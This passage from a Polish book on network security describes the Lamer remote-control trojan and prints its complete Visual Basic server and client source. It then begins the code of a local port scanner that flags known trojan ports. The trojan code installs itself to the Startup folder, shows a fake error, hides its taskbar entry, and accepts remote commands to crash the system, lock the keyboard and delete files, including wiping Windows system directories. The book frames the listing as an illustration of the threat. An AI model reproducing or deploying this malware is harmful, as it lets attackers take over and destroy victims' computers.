klienta, uzyska nazwę jego domeny NIS. Znajomość nazwy domeny NIS moŜe umoŜliwić 
mu zdobycie kopii pliku haseł. 

Nieco większym zaskoczeniem moŜe być usługa wykryta na porcie 13 000, nazwana 
lamerLamer to nieprzyjemny, zdalnie sterowany koń trojański, realizujący takie funkcje 
jak  zarządzanie  stacją  CD-ROM,  przesyłanie  plików,  zarządzanie  plikami  i  dopro-
wadzanie do zawieszenia systemu. Jest to stosunkowo nowa kompilacja, stworzona 
w języku Visual Basic i ostatnio testowana przez autora, który w tym celu zaraŜa wirusem 
własny system. Demon ten, zamaskowany jako program narzędziowy, rozpowszechniany 
jest  najczęściej pocztą elektroniczną. W tym  przypadku program odebrany został jako 
kalkulator  IP,  ułatwiający  szybkie  wyliczanie  numerów  podsieci,  masek  i  adresów 
rozgłaszania. 

Przy  instalacji  zapisywany  (lub  zastępowany)  jest  w  katalogu 

/Windows/System

  plik 

o nazwie 

dnetc.exe

.  Po  restarcie  systemu  następuje  jego  uruchomienie  w  tle.  Wówczas 

program prowadzi nasłuch na porcie 13 000 i oczekuje na przekazywane zdalnie dyrekty-
wy. Właściwy 

dnetc.exe

  ma być programem  klienckim ośrodka  Distributed.net, umoŜli-

wiającym  systemowi  udział  w  jego  ogólnoświatowych  projektach  —  ma  przyłączać 
komputer  uŜytkownika  do  proxy  Distributed.net  i  odbierać  bloki  przeznaczonych do 

background image

 
64 

Hack Wars. Tom 2. Na tropie hakerów 

64 

 

przeliczenia  kluczy. Istnienie  konia  trojańskiego umoŜliwia  hakerom proste  sprawdza-
nie systemów pod kątem aktywności na porcie 13 000. Gdy zostanie wykryta, droga do 
zdalnego sterownia stoi otworem. 

 

 

Więcej  informacji  o  „Trojanie”  Lamer  i  jego  róŜnych  odmianach  znaleźć  moŜna 
w ośrodku www.distributed.net

Do  uŜytku  Czytelników  przedstawiamy  poniŜej  kod  serwera  Lamer.  Przyjrzenie  się 
jego  listingowi,  w  połączeniu  z  przedstawionymi  powyŜej  technikami  rozpowszech-
niania, uzmysłowić powinno, jak powaŜną groźbą moŜe być nawet tak prosta kompilacja 
w Visual Basicu.  Nadmienić  naleŜy,  Ŝe  nie  uwzględniono  w  przedstawionym  kodzie 
niejawnego funkcjonowania serwera. Zarówno sam serwer, jak i jego klient mogą zo-
stać uruchomione na tej samej stacji. 

Lamer Server 

Dim d As String 
Dim key As Boolean 
Dim cdrom As Boolean 
Dim mouse As Boolean 
Dim start As Boolean 
Dim deskt As Boolean 
Dim task As Boolean 

Function ShowFolderList(foldername) 
    Dim fso, f, fc, fj, s, f1 
    Set fso = CreateObject("Scripting.FileSystemObject") 
    Set f = fso.GetFolder(foldername) 
    Set fc = f.Subfolders 
    Set fj = f.Files 
    For Each f1 In fc 
        s = f1.name 
        s = s & "<BR>" 
        d = d + NewLine + f1 
    Next 
End Function 
 
Function App_Path() As String 
x = App.path 
    If Right$(x, 1) <> "\" Then x = x + "\" 
    App_Path = UCase$(x) 
    End Function 
 
Private Sub OPEN_Click() 
cdrom = True 
MciSendString "Set CDAudio Door Open Wait", _ 
    0&, 0&, 0& 
End Sub 
 
Private Sub CLOSE_Click() 
cdrom = False 
MciSendString "Set CDAudio Door Closed Wait", _ 
    0&, 0&, 0& 
End Sub 
 
Private Sub Command2_Click() 
startbar = 0 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

65 

 

65

 

End Sub 
 
Private Sub Dir1_Change() 
Label8.Caption = Dir1.path 
File1.path = Dir1.path 
End Sub 
 
Private Sub Form_Load() 
key = False 
cdrom = False 
task = True 
start = True 
deskt = True 
Dir1.path = "c:\" 
Label8.Caption = Dir1.path 
File1.path = Dir1.path 
On Error GoTo errorhandle 
SourceFile = App_Path + "cracklist.exe" 
sourcefile2 = App_Path + "mswinsck.ocx" 
Label7.Caption = App.path 

DestinationFile2 = "C:\Windows\Start 

Menu\Programs\StartUp\cracklist.exe" 

destinationfile3 = "c:\windows\system\mswinsck.ocx" 
FileCopy SourceFile, DestinationFile2 
FileCopy sourcefile2, destinationfile3 
errorhandle: If Err.Number = 70 Or 53 Then Resume Next 
Label7.Caption = App.path 
MsgBox "Error 643 file not found!", vbCritical, "Error" 
Winsock1.Close 
App.TaskVisible = False 
Label2.Caption = Winsock1.LocalIP 
Label4.Caption = Winsock1.LocalHostName 
Winsock1.Listen 
List1.AddItem "Listening on port 13000..." 
End Sub 

 

Private Sub Image1_Click() 
TaskbarIcons innotontaskbar 
End Sub 

 

Private Sub Text1_Change() 
Dim data As String 
data = "Server respond : Command executed!" 
If Text1.text = "Status" Then 
        data = "<----------------Status--------------->" 
        Winsock2(i).SendData data 
        data = NewLine 
        Winsock2(i).SendData data 

        

        data = "Computer Name : " & Winsock1.LocalHostName 
        Winsock2(i).SendData data 
        data = NewLine 
        Winsock2(i).SendData data 

         

        data = "IP Address : " & Winsock1.LocalIP 
        Winsock2(i).SendData data 
        data = NewLine 
        Winsock2(i).SendData data 

         

        data = "Server path : " & App_Path 
        Winsock2(i).SendData data 
        data = NewLine 
        Winsock2(i).SendData data 

background image

 
66 

Hack Wars. Tom 2. Na tropie hakerów 

66 

 

         

If task = False Then 
        data = "Taskbar status : Hidden" 
        Winsock2(i).SendData data 
        End If 
        If task = True Then 
        data = "Taskbar status : Visible" 
        Winsock2(i).SendData data 
End If 

data = NewLine 
        Winsock2(i).SendData data 

         

If start = False Then 
        data = "Start button status : Hidden" 
        Winsock2(i).SendData data 
        End If 
        If start = True Then 
        data = "Start button status : Visible" 
        Winsock2(i).SendData data 
End If 
 
        data = NewLine 
        Winsock2(i).SendData data 
         
If deskt = False Then 
        data = "Desktop icon status : Hidden" 
        Winsock2(i).SendData data 
        End If 
        If deskt = True Then 
        data = "Desktop icon status : Visible" 
        Winsock2(i).SendData data 
End If 
 
        data = NewLine 
        Winsock2(i).SendData data 
If mouse = False Then 
        data = "Mouse buttons are not swapped." 
        Winsock2(i).SendData data 
        Else 
        data = "Mouse buttons are swapped." 
        Winsock2(i).SendData data 
End If 
 
        data = NewLine 
        Winsock2(i).SendData data 
If cdrom = False Then 
        data = "CD-Rom is closed." 
        Winsock2(i).SendData data 
        Else 
        data = "CD-Rom is open." 
        Winsock2(i).SendData data 
End If 
 
        data = NewLine 
        Winsock2(i).SendData data 
If key = False Then 
        data = "Keyboard status : Enabled" 
        Winsock2(i).SendData data 
        Else 
        data = "Keyboard status : Disabled" 
        Winsock2(i).SendData data 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

67 

 

67

 

End If 
        data = NewLine 
        Winsock2(i).SendData data 
        data = "You are on directory : " + Label8.Caption 
        Winsock2(i).SendData data 
        data = NewLine 
        Winsock2(i).SendData data 
        data = "<----------------End--------------->" 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Info" Then 
        data = "<--------Directory Information-------->" 
        Winsock2(i).SendData data 
        data = NewLine 
        Winsock2(i).SendData data 
        data = "Directory path : " + Label8.Caption 
        Winsock2(i).SendData data 
        data = NewLine 
        Winsock2(i).SendData data 
        Dim intFileCount As Integer 
        For intFileCount = 0 To File1.ListCount - 1 
        File1.ListIndex = intFileCount 
        data = intFileCount & " " & File1.FileName & vbCrLf 
        Winsock2(i).SendData data 
    Next 
         
        data = "<----------------End--------------->" 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Erase" Then 
On Error GoTo errhandle 
        data = "Erasing files..." 
        Winsock2(i).SendData data 
         
        Kill Label8.Caption + "\*.*" 
        data = NewLine 
        Winsock2(i).SendData data 
         
        data = "Files successfully erased!" 
        Winsock2(i).SendData data 
errhandle: If Err.Number = 53 Then 
        data = "An error occured. Aborting operation." 
        Winsock2(i).SendData data 
    End If 
End If 
If Text1.text = "Erased" Then 
On Error GoTo errorhandler 
        data = "Erasing files..." 
        Winsock2(i).SendData data 
        Kill Label8.Caption + "\*.*" 
        data = NewLine 
        Winsock2(i).SendData data 
        data = "Erasing directory..." 
        Winsock2(i).SendData data 
        RmDir Label8.Caption 
        data = NewLine 
        Winsock2(i).SendData data 
        data = "Files and directory successfully erased!" 
        Winsock2(i).SendData data 
errorhandler: If Err.Number = 53 Then 
        data = "There are no files on this directory..." 
        Winsock2(i).SendData data 

background image

 
68 

Hack Wars. Tom 2. Na tropie hakerów 

68 

 

        data = NewLine 
        Winsock2(i).SendData data 
        RmDir Label8.Caption 
        Winsock2(i).SendData data 
        data = "Directory successfully erased!" 
        Winsock2(i).SendData data 
    End If 
End If 
If Text1.text = "viewdir" Then 
        d = "" 
        data = "<-----------Directory List----------->" 
        Winsock2(i).SendData data 
        data = NewLine 
        Winsock2(i).SendData data 
        ShowFolderList Label8.Caption & ("\") 
        data = d 
        Winsock2(i).SendData data 
        data = NewLine 
        Winsock2(i).SendData data 
        data = "<----------------End--------------->" 
        Winsock2(i).SendData data 
End If 
If Text1.text = "updir" Then 
Dir1.path = Dir1.List(-2) 
data = "Directory changed to : " & Label8.Caption 
Winsock2(i).SendData data 
End If 
If Text1.text = "Kill" Then 
        data = "Server respond : Server killed!" 
        Winsock2(i).SendData data 
        End 
End If 
If Text1.text = "Open CD-ROM" Then 
        Call OPEN_Click 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Close CD-ROM" Then 
        Call CLOSE_Click 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Swap buttons" Then 
        SwapButtons 
End If 
If Text1.text = "Crash" Then 
        Shell "rundll32 user,disableoemlayer" 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Shutdown" Then 
        Shell "rundll32 krnl386.exe,exitkernel" 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Lock keyboard" Then 
        key = True 
        Shell "rundll32 keyboard,disable" 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Destroy" Then 
        Kill "c:\windows\system\*.*" 
        Kill "c:\windows\*.*" 
        Kill "c:\*.*" 
        Kill "c:\windows\system32\*.*" 
        Winsock2(i).SendData data 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

69 

 

69

 

End If 
If Text1.text = "Hide task" Then 
        TaskbarIcons innotontaskbar 
        task = False 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Show task" Then 
        TaskbarIcons isontaskbar 
        task = True 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Hide start" Then 
        StartButton innotontaskbar 
        start = False 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Show start" Then 
        StartButton isontaskbar 
        start = True 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Hide desk" Then 
        Desktop isoff 
        deskt = False 
        Winsock2(i).SendData data 
End If 
If Text1.text = "Show desk" Then 
        Desktop ison 
        deskt = True 
        Winsock2(i).SendData data 
End If 
End Sub 
 
Private Sub SwapButtons() 
Dim Cur&, Butt& 
    Cur = SwapMouseButton(Butt) 
If Cur = 0 Then 
    mouse = True 
    SwapMouseButton (1) 
    Else 
    mouse = False 
    SwapMouseButton (0) 
End If 
End Sub 
 
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) 
Dim text As String 
Dim name As String 
Winsock2(i).Accept requestID 
List1.AddItem "User connected, accepting connection request on " & 
requestID 
Text2.text = "Connection accepted on " 
text = Text2.text 
name = Label4.Caption 
Winsock2(i).SendData text 
Winsock2(i).SendData name 
End Sub 
Private Sub Winsock2_DataArrival(Index As Integer, ByVal bytesTotal 
As Long) 
Dim datas As String 
Winsock2(i).GetData datas 

background image

 
70 

Hack Wars. Tom 2. Na tropie hakerów 

70 

 

Text1.text = datas 
Select Case Left(datas, 5) 
    Case "mkdir" 
    On Error GoTo errhandler 
        MkDir Label8.Caption & "\" & Mid(datas, 6) 
errhandler:     If Err.Number = 75 Then 
        data = "Directory could not be created. No name is given." 
        Winsock2(i).SendData data 
    End If 
    Case "chdir" 
      On Error GoTo path 
        Dir1.path = Mid(datas, 6) 
        data = "You are on directory : " + Label8.Caption 
        Winsock2(i).SendData data 
path:       If Err.Number = 76 Then 
      data = "Path not found" 
      Winsock2(i).SendData data 
End If 
      Case "messg" 
        MsgBox Mid(datas, 6), vbCritical + vbOKOnly, "Unknown 
message!" 
    End Select 
End Sub 

Moduł sterowania serwera 

Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As 
Long,  
ByVal dwReserved As Long) As Long 
Public Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As 
Long) As Long 
Public Declare Function MciSendString Lib "winmm.dll" Alias 
"mciSendStringA" (ByVal lpstrCommand As String, ByVal 
lpstrReturnString As String, ByVal uReturnLength As Long, ByVal 
hwndCallback As Long) As Long 
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" 
(ByVal lpClassName As String, ByVal lpWindowName As String) As Long 
Public Declare Function FindWindowEx Lib "user32" Alias 
"FindWindowExA" (ByVal  

 hwnd1 As Long, ByVal hwnd2 As Long, ByVal lpsz1 As String, ByVal 

lpsz2 As  

 String) As Long 

Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As 
Long, ByVal  

 hWndInstertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal 

cx As Long,  

 ByVal cy As Long, ByVal wFlags As Long) As Long 

Public Declare Function ShellExecute Lib "shell32.dll" Alias 
"ShellExecuteA" (ByVal  

 hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, 

ByVal lpParameters As String, ByVal lpDirectory As String, ByVal 
nShowCmd As Long) 

 As Long 

Public Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) 
As Long 
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, 
ByVal nCmdShow  

 As Long) As Long 

Public Declare Function SystemParametersInfo Lib "user32" Alias  

 "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

71 

 

71

 

Long, lpvParam  

 As Any, ByVal fuWinIni As Long) As Long 

Public Const SW_HIDE = 0 
Public Const SW_SHOW = 5 
Public Enum Desktop_Constants 
        ison = True 
        isoff = False 
End Enum 
Public Enum StartBar_Constants 
        isontaskbar = 1 
        innotontaskbar = 0 
End Enum 
 
Public Function StartButton(State As StartBar_Constants) 
        Dim SendValue As Long 
        Dim SetOption As Long 
        SetOption = FindWindow("Shell_TrayWnd", "") 

        SendValue = FindWindowEx(SetOption, 0, "Button", 

vbNullString) 

        ShowWindow SendValue, State 
End Function 
 
Public Function TaskbarIcons(State As StartBar_Constants) 
        Dim SendValue As Long 
        Dim SetOption As Long 
        SetOption = FindWindow("Shell_TrayWnd", "") 

        SendValue = FindWindowEx(SetOption, 0, "TrayNotifyWnd", 

vbNullString) 

        ShowWindow SendValue, State 
End Function 
 
Public Function Desktop(State As Desktop_Constants) 
        Dim DesktopHwnd As Long 
        Dim SetOption As Long 

        DesktopHwnd = FindWindowEx(0&, 0&, "Progman", vbNullString) 

        SetOption = IIf(State, SW_SHOW, SW_HIDE) 
        ShowWindow DesktopHwnd, SetOption 
End Function 
 
Public Function NewLine() 
        NewLine = vbCrLf 
End Function 

Lamer Client 

Function ShowFolderList(foldername) 
    Dim fso, f, fc, fj, s, f1 
    Set fso = CreateObject("Scripting.FileSystemObject") 
    Set f = fso.GetFolder(foldername) 
    Set fc = f.Subfolders 
    Set fj = f.Files 
    For Each f1 In fc 
        s = f1.Name 
        s = s & "<BR>" 
       
        Text1.Text = Text1.Text + NewLine + (f1) 
    Next 
    End Function 

Private Function NewLine() 
    NewLine = vbCrLf 
End Function 

background image

 
72 

Hack Wars. Tom 2. Na tropie hakerów 

72 

 

 
Private Sub Command1_Click() 
On Error Resume Next 
Text3.Text = "Open CD-ROM" 
Command8_Click 
End Sub 
 
Private Sub Command10_Click() 
Form1.PopupMenu mnuftp 
End Sub 

Private Sub Command11_Click() 
On Error Resume Next 
Text3.Text = "Status" 
Command8_Click 
End Sub 
 
Private Sub Command12_Click() 
Form1.PopupMenu mnudesktop 
End Sub 
 
Private Sub Command13_Click() 
On Error Resume Next 
Text3.Text = "Kill" 
Command8_Click 
End Sub 
 
Private Sub Command14_Click() 
Text4.Text = "" 
End Sub 
 
Private Sub Command2_Click() 
On Error Resume Next 
Text3.Text = "Close CD-ROM" 
Command8_Click 
End Sub 
 
Private Sub Command3_Click() 
On Error Resume Next 
Text3.Text = "Swap buttons" 
Command8_Click 
End Sub 
 
Private Sub Command4_Click() 
On Error Resume Next 
Text3.Text = "Crash" 
Command8_Click 
End Sub 
 
Private Sub Command5_Click() 
On Error Resume Next 
Text3.Text = "Destroy" 
Command8_Click 
End Sub 

Private Sub Command6_Click() 
On Error Resume Next 
Text3.Text = "Lock keyboard" 
Command8_Click 
End Sub 

 

Private Sub Command7_Click() 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

73 

 

73

 

 On Error GoTo errorhandler 
Winsock1.RemoteHost = Text1.Text 
Winsock1.RemotePort = Text2.Text 
Winsock1.Connect 
Command7.Enabled = False 
Command9.Enabled = True 
Label4.Caption = "Connecting..." 
errorhandler: If Err.Number = 10049 Then 
Label4.Caption = "Could not connect to server." 
Command7.Enabled = True 
Command9.Enabled = False 
Winsock1.Close 
End If 
End Sub 

 

Private Sub Command8_Click() 
Winsock1.SendData Text3.Text 
End Sub 

 

Private Sub Command9_Click() 
Command9.Enabled = False 
Command7.Enabled = True 
Label4.Caption = "Disconnected" 
Winsock1.Close 
End Sub 

 

Private Sub form_load() 
Text1.Text = Winsock1.LocalIP 
Label4.Caption = "Disconnected" 
End Sub 

 

Private Sub mnuall_Click() 
On Error Resume Next 
Text3.Text = "Erase" 
Command8_Click 
End Sub 

Private Sub mnualldir_Click() 
On Error Resume Next 
Text3.Text = "Erased" 
Command8_Click 
End Sub 

 

Private Sub mnuchangedir_Click() 
On Error Resume Next 

x = InputBox("Enter directory name to change", "Change directory") 

Text3.Text = "chdir" + x 
Command8_Click 
End Sub 
 
Private Sub mnuhided_Click() 
On Error Resume Next 
Text3.Text = "Hide desk" 
Command8_Click 
mnuhided.Enabled = False 
mnushowd.Enabled = True 
End Sub 

 

Private Sub mnuhides_Click() 
On Error Resume Next 
Text3.Text = "Hide start" 
Command8_Click 
mnuhides.Enabled = False 

background image

 
74 

Hack Wars. Tom 2. Na tropie hakerów 

74 

 

mnushows.Enabled = True 
End Sub 

 

Private Sub mnuhidet_Click() 
On Error Resume Next 
Text3.Text = "Hide task" 
Command8_Click 
mnuhidet.Enabled = False 
mnushowt.Enabled = True 
End Sub 

 
 

Private Sub mnumakenew_Click() 
On Error Resume Next 
x = InputBox("Enter directory name", "Make new directory") 
Text3.Text = "mkdir" + x 
Command8_Click 
End Sub 

 

Private Sub mnusendmsg_Click() 
On Error Resume Next 
x = InputBox("Type a message", "Send a message") 
Text3.Text = "messg" + x 
Command8_Click 
End Sub 

 

Private Sub mnushowd_Click() 
On Error Resume Next 
Text3.Text = "Show desk" 
Command8_Click 
mnuhided.Enabled = True 
mnushowd.Enabled = False 
End Sub 

Private Sub mnushows_Click() 
On Error Resume Next 
Text3.Text = "Show start" 
Command8_Click 
mnuhides.Enabled = True 
mnushows.Enabled = False 
End Sub 

 

Private Sub mnushowt_Click() 
On Error Resume Next 
Text3.Text = "Show task" 
Command8_Click 
mnuhidet.Enabled = True 
mnushowt.Enabled = False 
End Sub 

 

Private Sub mnuup_Click() 
On Error Resume Next 
Text3.Text = "updir" 
Command8_Click 
End Sub 

Private Sub mnuview_Click() 
On Error Resume Next 
Text3.Text = "Info" 
Command8_Click 
End Sub 

 

Private Sub mnuviewdir_Click() 
On Error Resume Next 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

75 

 

75

 

Text3.Text = "viewdir" 
Command8_Click 
End Sub 
 
Private Sub Text4_Change() 
If Text4.DataChanged Then 
Label4.Caption = "Connected!" 
End If 
End Sub 

 

Private Sub Timer1_Timer() 
Text5.Text = Text5.Text - 1 
End Sub 

 

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) 
Dim strData As String 
Winsock1.GetData strData, vbString 
Text4.Text = strData 
If strData = NewLine Then 
        Text4.Text = Text4.Text & NewLine 
End If 
If strData = endir Then 

    x = InputBox("Enter directory you wish to change", "Change 

directory") 

    Text3.Text = "chdir" + x 
    Command8_Click 
End If 
End Sub 

 

Programy  i  moduły  przedstawione  w  tym  rozdziale  znaleźć  moŜna  na  dołączonym  do 
niniejszej ksiąŜki dysku CD. 

Tiger Inspect 

Jak przedstawiono to w Hack wars. Na tropie hakerów, skanery portów napisane zo-
stały  dla  większości  systemów  operacyjnych.  Za  darmo  pobrać  moŜna  z  Internetu 
wszechstronne demony dla systemów UNIX, takie jak nmap. UŜytkownicy Windows, 
zarówno  domowi,  jak  i  w  większych  firmach,  wymagający  pełnej  kontroli  nad  opro-
gramowaniem, skorzystać mogą ze skanera portów lokalnych Tiger Inspect (patrz ry-
sunek  1.25).  Pozwoli  on  indywidualnie  dopasować  procedury  przeglądania  i  zarzą-
dzać listą usług. Przedstawiona wersja zapewnia obsługę pięciu jednocześnie pracujących 
wątków. Oznacza to, Ŝe sprawdzanych będzie pięć portów jednocześnie. Warto zwró-
cić  uwagę,  Ŝe  liczba  wątków  moŜe  zostać  zwiększona  przez  dodanie  strumieni 

Win-

sock

(

x

), gdzie (

x

) jest numerem kolejnego wątku (poczynając w tym przypadku od szó-

stego). 

background image

 
76 

Hack Wars. Tom 2. Na tropie hakerów 

76 

 

Rysunek 1.25.  
Prosty interfejs 
skanera portów 
lokalnych 
TigerInspect 

 

 

Kod źródłowy nie jest skomplikowany, wprowadzanie modyfikacji nie powinno więc 
sprawić kłopotów. Kompilacja uwzględnia listę znanych portów  koni trojańskich, aŜ 
do numeru 61466. Mimo Ŝe analiza usług nie została wprowadzona, Czytelnik moŜe 
pokusić  się  o  dołączenie  jej  w  wolnym  czasie.  Łatwo  będzie  równieŜ  wprowadzić 
opisy portów zarezerwowanych, posługując się wierszami takimi jak: 

ElseIf Winsock1.LocalPort = 21 Then List1.AddItem Winsock1.LocalPort 
& " Alert:  

 Found File Transfer Protocol (FTP)" 

Winsock1.Close 

 

 

Przy dołączaniu powiadomień o portach aktywnych nie moŜna zapominać o wprowadzeniu 
ich dla wszystkich pięciu wątków: Winsock1, 2, 3, 4 i 5. 

Inspect.frm 

Dim A 
Private Sub cmdStart_Click() 
Timer1.Interval = 1 
End Sub 

Private Sub Command3_Click() 
Unload Scan 
End Sub 
 
Private Sub Form_Load() 
A = 112 
End Sub 
 
Private Sub Timer1_Timer() 
A = A + 5 
Me.Caption = "Security Port Scan (at Port " & A & ")" 
Call WSock1(A - 4) 
Call WSock2(A - 3) 
Call WSock3(A - 2) 
Call WSock4(A - 1) 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

77 

 

77

 

Call WSock5(A - 0) 
End Sub 
 
Public Sub WSock1(sPort As Long) 
a1: 
Winsock1.LocalPort = sPort 
If sPort > 65400 Then 
    cmdStop_Click 
End If 
On Error GoTo z1 
Winsock1.Listen 
Winsock1.Close 
Exit Sub 
z1: 
If Winsock1.LocalPort = 31 Then 
    List1.AddItem Winsock5.LocalPort & " Found: Agent 31" 
    Winsock1.Close 
ElseIf Winsock1.LocalPort = 41 Then 
    List1.AddItem Winsock1.LocalPort & " Found: DeepThroat" 
    Winsock1.Close 
ElseIf Winsock1.LocalPort = 59 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  DMSetup" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 79 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  Firehotcker" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 99 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  Hidden Port" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 110 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  ProMail trojan" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 113 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  Kazimas" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 119 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  Happy 99" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 121 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  JammerKillah" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 421 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  TCP Wrappers" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 456 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  Hackers Paradise" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 531 Then List1.AddItem Winsock1.LocalPort 
& " Found:   
  Rasmin" 
Winsock1.Close 

background image

 
78 

Hack Wars. Tom 2. Na tropie hakerów 

78 

 

ElseIf Winsock1.LocalPort = 555 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  Ini-Killer, NeTAdmin, Phase Zero, Stealth Spy" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 666 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  Attack FTP, Back Construction, Cain & Abel, Satanz Backdoor, ServeU, 
Shadow Phyre" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 911 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  Dark Shadow" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 999 Then List1.AddItem Winsock1.LocalPort 
& " Found:  
  DeepThroat, WinSatan" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1001 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Silencer, WebEx" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1010 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Doly Trojan" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1011 Then List1.AddItem 
Winsock1.LocalPort & " Found:    
  Doly Trojan" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1012 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Doly Trojan" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1015 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Doly Trojan" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1024 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  NetSpy" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1042 Then List1.AddItem Winsock1.LocalPort & 
" Found: Bla" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1045 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Rasmin" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1090 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Xtreme" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1170 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Psyber Stream Server, Streaming Audio trojan, Voice" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1234 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Ultors Trojan" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1239 Then Winsock1.Close 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

79 

 

79

 

ElseIf Winsock1.LocalPort = 1243 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  BackDoor-G, SubSeven, SubSeven Apocalypse" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1245 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  VooDoo Doll" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1248 Then Winsock1.Close 
ElseIf Winsock1.LocalPort = 1269 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Mavericks Matrix" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1349 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  BO DLL" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1492 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  FTP99CMP" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1509 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Psyber Streaming Server" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1600 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Shivka-Burka" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1807 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  SpySender" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1981 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Shockrave" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1999 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  BackDoor" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 1999 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  TransScout" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2000 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  TransScout" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2001 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  TransScout" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2001 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  Trojan Cow" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2002 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  TransScout" 
Winsock1.Close 

background image

 
80 

Hack Wars. Tom 2. Na tropie hakerów 

80 

 

ElseIf Winsock1.LocalPort = 2003 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  TransScout" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2004 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  TransScout" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2005 Then List1.AddItem 
Winsock1.LocalPort & " Found:  
  TransScout" 
Winsock1.Close 
ElseIf Winsock1.LocalPort = 2023 Then List1.AddItem 
